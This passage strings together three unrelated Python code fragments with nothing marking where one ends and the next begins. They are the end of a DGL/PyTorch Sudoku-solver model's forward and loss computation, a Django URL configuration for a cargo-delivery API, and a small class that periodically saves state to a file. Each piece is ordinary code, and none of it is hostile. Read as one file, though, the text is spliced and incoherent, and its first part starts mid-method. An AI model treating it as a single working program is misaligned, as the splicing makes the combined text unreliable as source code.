            graph.ndata['col'] = self.cols
            graph_list.append(graph)
        batch_graph = dgl.batch(graph_list)
        return batch_graph

    def forward(self, feed_dict, return_loss_matrix=False, can_break=False):
        # Pdb().set_trace()
        feed_dict = GView(feed_dict)
        # convert it to graph
        bg = self.collate_fn(feed_dict)
        # logits : of shape : args.sudoku_num_steps x batchsize*81 x 10 if training
        # logits: of shape : batch_size*81 x 10 if not training
        logits = self.sudoku_solver(bg, self.training)

        if self.training:
            # testing
            """
            labelsa = bg.ndata['a']
            labelsb = torch.stack([labelsa]*self.num_steps, 0)
            labels = labelsb.view([-1])
            labels1 = feed_dict.target.flatten().unsqueeze(0).expand(self.num_steps,-1).flatten().long()
            gl = dgl.unbatch(bg)
            gl[0].ndata['q']
            gl[1].ndata['q']
            Pdb().set_trace()
            print((labels != labels1).sum())
            loss = self.loss_func(logits.view([-1,10]), labels)
            #
            """
            logits = logits.transpose(1, 2)
            logits = logits.transpose(0, 2)
        else:
            logits = logits.unsqueeze(-1)
        # shape of logits now : BS*81 x 10 x 32 if self.training ,  otherwise BS*81 x 10 x 1
        logits = logits.view(-1, 81, logits.size(-2), logits.size(-1))
        # shape of logits now : BS x  81 x 10 x 32(1)
        logits = logits.transpose(1, 2)
        # shape of logits now : BS x  10 x 81 x 32(1)
        #pred = logits[:,:,:,-1].argmax(dim=1)
        pred = logits

        if self.training:
            # Pdb().set_trace()
            this_meters, _, reward = instance_accuracy(feed_dict.target.float(
            ), pred, return_float=False, feed_dict=feed_dict, task=self.args.task, args=self.args)

            monitors = dict()
            target = feed_dict.target.float()
            count = None
            # Pdb().set_trace()
            loss_matrix = None
            if self.args.cc_loss or self.args.naive_pll_loss or self.args.min_loss or 'weights' in feed_dict or return_loss_matrix:
                loss_matrix = self.loss(
                    logits, feed_dict.target_set, feed_dict.mask)
            else:
                loss_matrix = self.loss(logits, target.unsqueeze(
                    1), feed_dict.mask[:, 0].unsqueeze(-1))
            # Pdb().set_trace()
            if 'weights' in feed_dict:
                loss = (feed_dict.weights*loss_matrix).sum() / \
                    feed_dict.weights.sum()

            else:
                loss = loss_matrix.mean()

            #loss = loss_ch
            # print(loss,loss_ch)

            #logger.info("Reward: ")
            # logger.info(reward)
            monitors.update(this_meters)
            # logits = logits.view([, 10])
            #labels = labels.view([-1])

            # loss_matrix of size: batch_size x target set size
            # when in training mode return prediction for all steps
            return loss, monitors, dict(pred=pred, reward=reward, loss_matrix=loss_matrix)
        else:
            return dict(pred=pred)


"""
URL configuration for Cargo project.

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/4.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path

from delivery.views import LocationsListAPIView, CreateCargoAPIView, CargoListAPIView, CargoDetailAPIView, CarUpdateView, \
    CargoUpdateView, CargoDeleteView

urlpatterns = [
    path('admin/', admin.site.urls),
    path('api/cargo_add/', CreateCargoAPIView.as_view(), name='create-cargo'),
    path('api/locations/', LocationsListAPIView.as_view(), name='locations-list'),
    path('api/cargo_list/', CargoListAPIView.as_view(), name='cargo-list'),
    path('api/cargo/<int:cargo_id>/', CargoDetailAPIView.as_view(), name='cargo-detail'),
    path('api/cargo_update/<int:cargo_id>/', CargoUpdateView.as_view(), name='cargo-update-weight-description'),
    path('api/cargo_delete/<int:cargo_id>/', CargoDeleteView.as_view(), name='cargo-delete'),
    path('api/car_update/<int:car_id>/', CarUpdateView.as_view(), name='car-update-location'),

]


import time
import copy

from tengi.state.preserver import *

class TimedPreserver(Preserver):
    def __init__(self, state_file_path: Path, save_period: float, indent=2):
        super().__init__(state_file_path=state_file_path,
                         indent=indent,
                         auto_commit=False)
        self.save_period = save_period
        self.saved_time = time.time()
        self.saved_dict = copy.deepcopy(self._get_state_data())

    def update(self):
        cur_time = time.time()
        if (self.saved_time is None) or \
                (cur_time - self.saved_time >= self.save_period):

            cur_dict = self._get_state_data()
            if self.saved_dict != cur_dict:
                self._save_state()
                self.saved_dict = copy.deepcopy(cur_dict)

            self.saved_time = cur_time